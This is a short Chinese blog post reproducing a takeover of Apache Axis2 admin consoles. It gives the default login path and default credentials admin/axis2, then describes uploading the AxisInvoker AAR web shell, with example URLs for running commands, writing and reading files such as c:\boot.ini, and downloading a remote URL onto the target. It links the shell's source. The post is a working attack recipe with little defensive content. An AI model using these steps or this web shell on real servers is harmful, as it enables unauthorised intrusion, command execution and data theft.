Axis2 弱口令 getshell 漏洞复现

Axis2

Axis2是下一代 Apache Axis。Axis2 虽然由 Axis 1.x 处理程序模型提供支持,但它具有更强的灵活性并可扩展到新的体系结构。Axis2 基于新的体系结构进行了全新编写,而且没有采用 Axis 1.x 的常用代码。支持开发 Axis2 的动力是探寻模块化更强、灵活性更高和更有效的体系结构,这种体系结构可以很容易地插入到其他相关 Web 服务标准和协议(如 WS-Security、WS-ReliableMessaging 等)的实现中

默认后台:http://ip:port/axis2/axis2-admin/login

默认口令密码

admin

axis2

一般这个密码是没人改的,碰到好多都是弱口令

进入到后台后,可以通过上传一个aar的包直接getshell

 

  • aar包,使用方法

支持的命令?
exec-运行命令,在Linux / Windows上均可使用,不用担心。

http://192.168.56.103:8080/axis2/services/AxisInvoker/exec?cmd=dir%20C:

写-写文件

http://192.168.56.103:8080/axis2/services/AxisInvoker/write?path=c:\1.1txt&content=123

info-显示某些信息,根据需要进行修改

http://192.168.56.103:8080/axis2/services/AxisInvoker/info

读取-读取文件内容

http://192.168.56.103:8080/axis2/services/AxisInvoker/read?path=c:\boot.ini

下载-下载文件并将其保存在某处

http://192.168.56.103:8080/axis2/services/AxisInvoker/download?url=http://www.baidu.com&file=c:\122.txt

下载地址:https://github.com/CaledoniaProject/AxisInvoker

 

posted @ 2021-01-05 14:59  Azjj  阅读(1133)  评论(0编辑  收藏  举报